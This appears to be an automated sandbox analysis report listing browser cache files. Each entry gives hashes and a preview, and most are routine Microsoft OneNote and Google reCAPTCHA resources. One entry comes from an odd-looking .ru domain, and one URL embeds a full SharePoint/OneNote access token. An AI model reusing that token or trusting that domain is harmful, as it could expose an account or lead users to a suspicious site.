Preview:	FocusedContentControl{margin:0;padding:0;}.EditingSurfaceBody{background-color:transparent;border:none;outline:none;}.EditingSurfaceBody,.EditingSurfaceBody {-ms-touch-select:none;-webkit-user-select:text;-khtml-user-select:text;-moz-user-select:text;-ms-user-select:text;}.EditMode span.SpellingError,.EditingSurfaceBody span.SpellingError{background-image:url('data:image/gif;base64,R0lGODlhBQAEAJECAP////8AAAAAAAAAACH5BAEAAAIALAAAAAAFAAQAAAIIlGAXCCHrTCgAOw==');border-bottom:solid 1px transparent;}.EditMode span.DictationCorrection,.EditingSurfaceBody span.DictationCorrection{background-image:url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='3' height='4'><path d='M 0 0 L 5 5' stroke='gray' stroke-width='1px'/></svg>");border-bottom:solid 1px transparent;}.EditMode span.ContextualSpellingAndGrammarError,.EditingSurfaceBody span.ContextualSpellingAndGrammarError{background-image:url('data:image/gif;base64,R0lGODlhBQAEAPEDAABVzDNVzDNV/wAAACH5BAUAAAMALAAAAAAFAAQ

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (63603)
Category:	downloaded
Size (bytes):	130559
Entropy (8bit):	5.272281201893666
Encrypted:	false
SSDEEP:	1536:Ch8VvaIdNDxIQxI4QAQuBqCELdzQBy0uR6Ond4U:Ch8VyIWLdcov4OndT
MD5:	F6FFCC77145D2920EDD54BD41549349F
SHA1:	324887D9959F2DF146F3215CC364AA240E3FE7B4
SHA-256:	5DF75DAEB9D9B4B018E0B38EEDBDCE3822DA834A4F375F568A033822206AFB61
SHA-512:	31E3F70990957C4DDEA54E9F0D9EEE5582696A49BCD5F39DC7EE233C5B1FAB412CC009AE8E3D4B35711D76C2C33DCD63365F7E25B27D615D04BDA81AA791A801
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/sp-client/odsp.react/odsp.react.lib-2600836d.js
Preview:	/! For license information please see odsp.react.lib-2600836d.js.LICENSE.txt /.(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([["odsp.react.lib"],{react_13:function(e){"use strict";var t=Object.getOwnPropertySymbols,n=Object.prototype.hasOwnProperty,a=Object.prototype.propertyIsEnumerable;function i(e){if(null==e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},n=0;n<10;n++)t["_"+String.fromCharCode(n)]=n;if("0123456789"!==Object.getOwnPropertyNames(t).map(function(e){return t[e]}).join(""))return!1;var a={};return"abcdefghijklmnopqrst".split("").forEach(function(e){a[e]=e}),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},a)).join("")}catch(e){return!1}}()?Object.assign:function(e,r){for(var o,s,c=i(e),d=1;d<arguments.length;d++){for(var l in o=Object(arguments[d]))n.cal

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (56412), with no line terminators
Category:	downloaded
Size (bytes):	56412
Entropy (8bit):	5.907540404138125
Encrypted:	false
SSDEEP:	768:+LUmmAWTe2uXYp8Mi+yKYlebyBblxRx54PHSGdXXwW7MFWwXVuE2:4UcW6v+0BbchXwW49z2
MD5:	2C00B9F417B688224937053CD0C284A5
SHA1:	17B4C18EBC129055DD25F214C3F11E03E9DF2D82
SHA-256:	1E754B107428162C65A26D399B66DB3DAAEA09616BF8620D9DE4BC689CE48EED
SHA-512:	8DC644D4C8E6DA600C751975AC4A9E620E26179167A4021DDB1DA81B452ECF420E459DD1C23D1F2E177685B4E1006DBC5C8736024C447D0FF65F75838A785F57
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/styles__ltr.css
Preview:	.goog-inline-block{position:relative;display:-moz-inline-box;display:inline-block}* html .goog-inline-block{display:inline}*:first-child+html .goog-inline-block{display:inline}.recaptcha-checkbox{border:none;font-size:1px;height:28px;margin:4px;width:28px;overflow:visible;outline:0;vertical-align:text-bottom}.recaptcha-checkbox-border{-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background-color:#fff;border:2px solid #c1c1c1;font-size:1px;height:24px;position:absolute;width:24px;z-index:1}.recaptcha-checkbox-borderAnimation{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFQAAANICAYAAABZl8i8AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAABIAAAASABGyWs+AAAACXZwQWcAAABUAAADSAC4K4y8AAA4oElEQVR42u2dCZRV1ZX3q5iE4IQIiKQQCKBt0JLEIUZwCCk7pBNFiRMajZrIl9aOLZ8sY4CWdkDbT2McooaAEmNixFhpaYE2dCiLScWiQHCgoGQoGQuhGArKKl7V+c5/n33fO/V4w733nVuheXuv9V/rrnvP2Xud3zvTPee+ewsKxMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExP4OdtlT6ztAbRWvvLy8A3QkwxzH6tBGMMexI

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (665)
Category:	downloaded
Size (bytes):	2240292
Entropy (8bit):	5.601094101629013
Encrypted:	false
SSDEEP:	49152:qMtcuJEnkK6K/1op2WGz+vUs+DP2C/lfkzrbwJMN6hHScs1iiFg+3Z50XsbpKgV3:NGQ62FH3
MD5:	ACB0645577E28B990C20ACBBDB4870C7
SHA1:	5358383D60E6DB3F137CA38CD1260D6BA093CFBA
SHA-256:	C314DEF154FC9D8F4E00EBD227727D854BBB0EA7798E8CF747D9B43A54C3FA9F
SHA-512:	1F1AEA5DD38DFC1CC624758CADCAB983D68336458F6E128D4997FEA56E8EE053FAE2034C6F6A0968F7A1F4BAAAD070D9A3E8BE5D1EC4452AA3122C6610B85F22
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h52C335E6448447C3_App_Scripts/OneNoteDS.box4.dll1.js
Preview:	'use strict';(globalThis.dullscriptWebpackJsonp=globalThis.dullscriptWebpackJsonp\|\|[]).push([[1],{36206:function(Ga,cb,V){V.d(cb,{a:function(){return I}});Ga=V(35317);var Ba=V(539),Ka=V(18055),bb=V(73894),T=V(64967),S=V(54001),d=V(73285),m=V(74952),l=V(2407),k=V(4605),r=V(34148),e=V(40579),B=V(16708),f=V(99059),v=V(46577),A=V(13133),w=V(2452),F=V(2749),H=V(91380),y=V(98186),D=V(42867),J=V(52174),E=V(56599),K=V(50703),G=V(92528),t=V(10583),M=V(15978);class O{constructor(){this.pressure=this.pageY=.this.pageX=this.y=this.x=0}}(0,Ga.a)(O,"InkPacket",null,[]);var N=V(20662),P=V(89316),Y=V(44580),W=V(86691),u=V(67412);class I{static get oHc(){return Ka.a.instance.resolve("OneNote.IInkEditor")}static get W6(){return bb.FocusManager.instance()}static get bkb(){return I.Ve\|\|(I.Ve=Ka.a.instance.resolve("Box4.ICaretPositionManager"))}static get zza(){return I.kb\|\|(I.kb=Ka.a.instance.resolve("Box4.ICevViewContentManager"))}static au(){return I.$i\|\|(I.$i=Ka.a.instance.Bb("OneNote.IBusinessBarContr

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows cursor resource - 1 icon, 32x32, hotspot @16x16
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	0.3626382302432769
Encrypted:	false
SSDEEP:	3:GlFFHvDllfl/t+lVsu/jXpRq/uXJRi/uXZRi/uXJRq/uX3XXRLtutpaKsx67YTsD:Gl/qlOeTjq2Di2Ti2Dq2nBL4OxhG5
MD5:	04D59A1FFDA7020CBDA1BB9FCBF0BCA0
SHA1:	E0CACE5751F02AF9E12B3C066FFD542F3D12A279
SHA-256:	EDC250E23E06AE7D15C1C19FDF9C6759129796B0A2F76DC82DF665C823C7B495
SHA-512:	A997D4384DA8D401321C497F49F73F0C79C1815DFD8B679458385D4E4A8ED2F645DDCF940A9347EA35F2D7AD3EE710F06784E8E1B1461AB7E8633BFF0FE0A691
Malicious:	false
Reputation:	low
Preview:	...... ..............(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3290
Entropy (8bit):	5.898748036338932
Encrypted:	false
SSDEEP:	96:V0AoSFRPoZ1ZPj1OJzRgyavlB19E6Vdeaaq+:V0AjRPoTB1OJu3/DE6Oaaq+
MD5:	3C0AE3B9979DB202738E0770070FB088
SHA1:	FDDCF60FA6FB3011A24839EBC7CA058E9B4912E1
SHA-256:	1F53EA5D2A4A115B8C0A407686E59BF9FFDB8145AC6036D1E5581F3BF6390C48
SHA-512:	804BB27293ED747BD74BE707BDC643B952E9C7E67BAE8908C2737D54074E14BE2BD79C98A1A45002CD9E5E457EA7D299FCFE87146C4EAD48460CEE9C2C49273C
Malicious:	false
Reputation:	low
Preview:	{"clientVersion":"20240425.3","files":{"owl.js":["owl.ab1050286d8e7e0c7bc0.js","sha384-pVnzwrKq6W8iQVFjyxkoJsFxUOMcM3i7PyxkeYGRKs15gblO7+wMoyCnaFUuim3h"],"owl.slim.js":["owl.slim.9fbed861128f4d4b51ef.js","sha384-xpXEaprg0WM1izAfZrIZM+30292yJYlN7m6CAWTVD8AQV8zXOVZjJRhtbIgP1qvy"],"owlnest.js":["owlnest.978894dc2287b8befd04.js","sha384-wP383fDdNIIzuURisGdTNTt/lYjGdnVA46hd0Lbcfjunlw6WsUV0clOZF9BbkAyP"],"authwebworker.js":["authwebworker.2f4b7efdc6e2f6d4e6d3.js","sha384-v9+nDRwhHbnovycDcmhSpKM8z90ZsTF693enOAycUE6GrvlYhupFCdtkb7Uqi3vh"],"sharedauthclient.js":["sharedauthclient.cc43d953fda743e12ad4.js","sha384-1Phvz0l2Jb6VDddEsp6B0daKNSAlficIN2xdPZSxd9WgKwEvM76WdvxY4HBmUvVz"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.2bf68dc7d2782fae45a1.js","sha384-+PP8dmzq6Coknxe0FDfT9CMqnPqRqg3wFK3CH/cMljeI5gYPsP3TjSl8XZfDBdJT"],"sharedauthclientmsal.js":["sharedauthclientmsal.5c5aa72568aaa16099a5.js","sha384-4VDeYsCErzGUO+GUj2TCI9lFSBFl4ppQZfDTMKPmyFmDTneBNdyajpbupljH9Goc"],"sharedaut

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28762
Entropy (8bit):	4.831961205077371
Encrypted:	false
SSDEEP:	768:86p6wE6p60l6p61m6p6ig6p6YV6p6Vn6p6jK6p6+i6p6G96p6tO6p6Ch6p6xk6pl:8E6EpEhEQE3E2EpEuEJEnEBEDEbEtEJ9
MD5:	C05290674FA16BDCDEC68ABA593BE65D
SHA1:	1CD9ED540D93EDBFAB7A71BF53094DBBE694DC24
SHA-256:	DF2531373E2E74DEECDB2DD01F784682961FB2AC18FF8983CF894CC1F2C2FE89
SHA-512:	457C9FBC9F2E2E7F8CAD5D507F2E2F4B90718565277C1ECFD4A5EDD900BAC58C6C8709B59A5CD9CFA2CA3DAA2DF94379CAA258935FB8DD9AD997145985B2B6AA
Malicious:	false
Reputation:	low
Preview:	{"dashboard":{"cdnUrl":"https://res.cdn.office.net/admincenter/admin-main/2024.4.18.4/","loaderSpec":{"type":"scriptUrl","content":"https://res.cdn.office.net/admincenter/admin-main/2024.4.18.4/dashboard.en.bundle.js"},"version":"2024.4.18.4"},"groups":{"cdnUrl":"https://res.cdn.office.net/admincenter/admin-main/2024.4.18.4/","loaderSpec":{"type":"scriptUrl","content":"https://res.cdn.office.net/admincenter/admin-main/2024.4.18.4/groups.en.bundle.js"},"version":"2024.4.18.4"},"app-mgmt":{"cdnUrl":"https://res.cdn.office.net/admincenter/admin-main/2024.4.18.4/","loaderSpec":{"type":"scriptUrl","content":"https://res.cdn.office.net/admincenter/admin-main/2024.4.18.4/app-mgmt.en.bundle.js"},"version":"2024.4.18.4"},"esign":{"cdnUrl":"https://res.cdn.office.net/admincenter/admin-main/2024.4.18.4/","loaderSpec":{"type":"scriptUrl","content":"https://res.cdn.office.net/admincenter/admin-main/2024.4.18.4/esign.en.bundle.js"},"version":"2024.4.18.4"},"viva-goals-organization-views":{"cdnUrl":"

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
URL:	https://yo5.6gniu68.ru/vqyevmnspgsjgnxfpdshehidRBNanscfjAERXGCWEIDBUCORZFGRYIPNOYEUB
Preview:	1

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1233
Entropy (8bit):	5.464953219409053
Encrypted:	false
SSDEEP:	24:hM0mIAvy4WvsqoLBa7JZRGNeHX+AYcvP2wk1TLz+eGFk5:lmIAq1Uq+iJZ+eHX+AdP2edk5
MD5:	11CA4578CB026A23713AEA6781B8ECE3
SHA1:	A05AE51B4A3E2E0076222CBCBE9C58833CDEF108
SHA-256:	C55F527E536DE44C7980FECECE7428AE5A765647495E47008A8A54FA1E434736
SHA-512:	5F57C749A78FF8DFA4D172A11A179D9EC9E036C0A6B2C6059F79B2DCF1114A3D289104B68316B4913A01C54FBBE07FF38D1648BB8534B510C3797433AF6B2158
Malicious:	false
Reputation:	low
URL:	https://usc-onenote.officeapps.live.com/o/AddinServiceHandler.ashx?action=laststoreupdate&app=4&lc=EN-US&WOPIsrc=https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9%2EePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC%2DlGpxzBDH9%5FYJe9eXoQ3MIJgGNGZp5%5F8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx%5FuD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k%5FY8zjLO%2DAXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP%5FkPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg&access_token_ttl=1714154349045
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>..<title>403 - Forbidden: Access is denied.</title>..<style type="text/css">.. ..body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}..-->..</style>..</head>..<body>..<div id="header"><h1>Server Error</h1></div>..<div id="content">.. <div class="co

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17673)
Category:	downloaded
Size (bytes):	18268
Entropy (8bit):	5.619856960314813
Encrypted:	false
SSDEEP:	384:Va/VuX6x1E4rZ5gIcAGn5o86/TZeIeaedo/939zg:Ukqxe4rZ5gIcAGnQ/tEaeE9C
MD5:	9FBB8606566EBF96C502666BFFFD254A
SHA1:	FEB80CB296B30432EC659D7EEDFE3C6022A450E2
SHA-256:	9644D7AB8F581B9FDE8F5C3B9B84FD370FF52F1D4E71DD60B5E590A6C7D5FD39
SHA-512:	7C9C38D0710B52EE4761EEAC4E50BB8F5E319C5AFA49253888D0F45B42DB03DE244181AF62A0BC0431D0AB963AB04A5FD2263907CE0B1188BCB1F6954622204C
Malicious:	false
Reputation:	low
URL:	https://www.google.com/js/bg/lkTXq49YG5_ej1w7m4T9Nw_1Lx1Ocd1gteWQpsfV_Tk.js
Preview:	/* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t / (function(){var f=function(R,N){if(!(N=(R=e.trustedTypes,null),R)\|\|!R.createPolicy)return N;try{N=R.createPolicy("bg",{createHTML:p,createScript:p,createScriptURL:p})}catch(P){e.console&&e.console.error(P.message)}return N},p=function(R){return R},e=this\|\|self;(0,eval)(function(R,N){return(N=f())&&1===R.eval(N.createScript("1"))?function(P){return N.createScript(P)}:function(P){return""+P}}(e)(Array(7824Math.random()\|0).join("\n")+['(function(){/',.'',.' SPDX-License-Identifier: Apache-2.0',.'/',.'var Re=function(R,N){return R[N]<<24\|R[(N\|0)+1]<<16\|R[(N\|0)+2]<<8\|R[(N\|0)+3]},d=function(R,N,p){if(438==R\|\|331==R)N.X[R]?N.X[R].concat(p):N.X[R]=N_(p,N);else{if(N.ri&&247!=R)return;466==R\|\|163==R\|\|161==R\|\|301==R\|\|172==R\|\|120==R\|\|59==R\|\|298==R\|\|344==R?N.X[R]\|\|(N.X[R]=PR(N,p,R,142)):N.X[R]=PR(N,p,R,49)}247==R&&(N.h=q(false,32,N),N.R=void 0)},eZ=function(R,N,p,e){W((e=V((p=V(R),R)),e),R,z(N,Z(p,R)))},sH=

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5949), with no line terminators
Category:	downloaded
Size (bytes):	5949
Entropy (8bit):	5.021760613857532
Encrypted:	false
SSDEEP:	96:Vq+J+ZRrxLuL7H9T4Mh+HsQ7qQYHq3l0e4QDhMWp:xJ+ZR07HNhhw7qQYHq3l0e4P8
MD5:	BBF6A2B6E77972F0718F99C86AE3FE92
SHA1:	806E8C002AE178B41819BEAFE123AE09202DF966
SHA-256:	78FF6158246E4FA25F994827F90ED69FEEF349AA57449CB404E35C3026BD4B8A
SHA-512:	4B4F58735190254E74ED9BAF547046642F622EE35414784A093356D28982A28A5D84E4CE71E476A88BC43583B6BB2D916B16A733D67D5B30E145DC2E4182BC8C
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h78FF6158246E4FA2_App_Scripts/CompatParentElementFix.js
Preview:	function __loadCompat(n){n.Debug=function(){};n.Debug._fail=function(n){throw new Error(n);};n.Debug.writeln=function(n){window.console&&window.console.debug(n)};n.__getNonTextNode=function(n){try{while(n&&n.nodeType!=1)n=n.parentNode}catch(t){n=null}return n}}function _loadSafariCompat(){Node.prototype.__defineGetter__("text",function(){return this.textContent});Node.prototype.__defineSetter__("text",function(n){this.textContent=n});Node.prototype.selectNodes=function(n){var t=this.ownerDocument;return selectNodes(t,n,this)};Node.prototype.selectSingleNode=function(n){var t=this.ownerDocument;return selectSingleNode(t,n,this)};Document.prototype.selectNodes=function(n){return selectNodes(this,n,this.documentElement)};Document.prototype.selectSingleNode=function(n){return selectSingleNode(this,n,this.documentElement)}}function _loadMozillaCompat(n){n.navigate=function(n){window.setTimeout('window.location = "'+n+'";',0)};var t=function(n,t){t._mozillaEventHandler=function(n){return win

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	76412
Entropy (8bit):	5.46559346870595
Encrypted:	false
SSDEEP:	768:Ylx3qEug0W5tQc+LjYxNqHsFNZBbvnFPgFUmDhEnIqF5PYDNQ429Buylb0wLuqPY:IrbajqN9rTFPgaozqF5x9B9PL3O8I5
MD5:	58710A3E1B60016505FD9C4F99BF1993
SHA1:	AD4E757C2A15289C6ED0B3D256BE8F1CCE83897D
SHA-256:	CEEFD9162F27F345AF51330885265102751EB5EC65F72DCF762CB9A86A0572BE
SHA-512:	6CF52CE285A18FDECD99074A3E2904AED7962B8FD685C0F5B35E0DEC4260C3B159217F93A3B4C6139F7B472842AEA470F69CE46FD20404C3429C14B8F4460119
Malicious:	false
Reputation:	low
URL:	https://wise.public.cdn.office.net/wise/owl/owl.handlers.27d51fd227a601990590.js
Preview:	(self.webpackChunkMicrosoft_Office_OWL=self.webpackChunkMicrosoft_Office_OWL\|\|[]).push([[3648],{1611:function(e,n,r){"use strict";r.d(n,{Z:function(){return s}});var t=r(9001),o=r.n(t),i=r(4975),a=r.n(i)()(o());a.push([e.id,".lLFji2JIIWB51LkuYBKM{width:75%;height:75%;position:fixed;top:50%;left:50%;transform:translateY(-50%) translateX(-50%);background-color:#fff;box-sizing:border-box;outline:1px solid transparent;z-index:5;box-shadow:0 0 5px 0 rgba(0,0,0,.4);border:none}","",{version:3,sources:["webpack://./../owl-service/lib/filePicker/filePickerStyles.module.scss"],names:[],mappings:"AAAA,sBACE,SAAA,CACA,UAAA,CACA,cAAA,CACA,OAAA,CACA,QAAA,CACA,2CAAA,CACA,qBAAA,CACA,qBAAA,CACA,6BAAA,CACA,SAAA,CACA,mCAAA,CACA,WAAA",sourcesContent:[".file-picker-iframe {\n width: 75%;\n height: 75%;\n position: fixed;\n top: 50%;\n left: 50%;\n transform: translateY(-50%) translateX(-50%);\n background-color: #fff;\n box-sizing: border-box;\n outline: 1px solid transparent;\n z-index: 5;\n b

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (673)
Category:	downloaded
Size (bytes):	2173967
Entropy (8bit):	5.625142291555143
Encrypted:	false
SSDEEP:	49152:bMycubCO1x1nPQ6InMyMr4zyD4+gXOECda1Ok1YNllviQWIymuehr1WOBOjCTwTs:/j
MD5:	5F28292AF42B88B8E61A3E7090097008
SHA1:	F9F3FC665A3B091A4C8331134614C91DEB5AA766
SHA-256:	D8897658F938D2FE214686FEF88D03A824696F1F49B29B6DEBCD0CF56BF2DEE7
SHA-512:	69163EC93419281FEB9E99CBDA9585D755ABDB03CB59F60F1272ED5387FB79FAE1D86E4DD897CF46FCAC20753648DE9F1428D0DCF3C7DD457EEE2F583006EA33
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h52C335E6448447C3_App_Scripts/OneNoteDS.box4.dll2.js
Preview:	'use strict';(globalThis.dullscriptWebpackJsonp=globalThis.dullscriptWebpackJsonp\|\|[]).push([[2],{36206:function(Ga,cb,V){V.d(cb,{a:function(){return I}});Ga=V(35317);var Ba=V(539),Ka=V(18055),bb=V(73894),T=V(64967),S=V(54001),d=V(73285),m=V(74952),l=V(2407),k=V(4605),r=V(34148),e=V(40579),B=V(16708),f=V(99059),v=V(46577),A=V(13133),w=V(2452),F=V(2749),H=V(91380),y=V(98186),D=V(42867),J=V(52174),E=V(56599),K=V(50703),G=V(92528),t=V(10583),M=V(15978);class O{constructor(){this.pressure=this.pageY=.this.pageX=this.y=this.x=0}}(0,Ga.a)(O,"InkPacket",null,[]);var N=V(20662),P=V(89316),Y=V(44580),W=V(86691),u=V(67412);class I{static get oHc(){return Ka.a.instance.resolve("OneNote.IInkEditor")}static get W6(){return bb.FocusManager.instance()}static get bkb(){return I.Ve\|\|(I.Ve=Ka.a.instance.resolve("Box4.ICaretPositionManager"))}static get zza(){return I.kb\|\|(I.kb=Ka.a.instance.resolve("Box4.ICevViewContentManager"))}static au(){return I.$i\|\|(I.$i=Ka.a.instance.Bb("OneNote.IBusinessBarContr

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30663)
Category:	downloaded
Size (bytes):	30715
Entropy (8bit):	5.2755427470728575
Encrypted:	false
SSDEEP:	768:ZtQtk0SMB/2ZsJIjrAWJdvgmfQFc6mjVqMP62A86uIz3yR:Z+u0S0/ks2JdImYFcw662A86vzyR
MD5:	90CFA3A9D4495B3209A432BBC650D97E
SHA1:	A29FCFAED6C1B9B7C552DCDC7BB57A78A936C924
SHA-256:	C7B296D08FE1B75A51792D6BD18183500D0A3F7F7B7169FBFFBF419E89EB4444
SHA-512:	DACDBDA5F6324958523EA72718C3E1A0AB115D4F8D2BB68A72C96D2854BE819F1B936B0A18472BC8245C395CE2ECCBF6B55BA58A5889402902B76F41603304A2
Malicious:	false
Reputation:	low
URL:	https://amcdn.msftauth.net/me?partner=OneNoteOnline&version=latest&market=EN-US&wrapperId=suiteshell
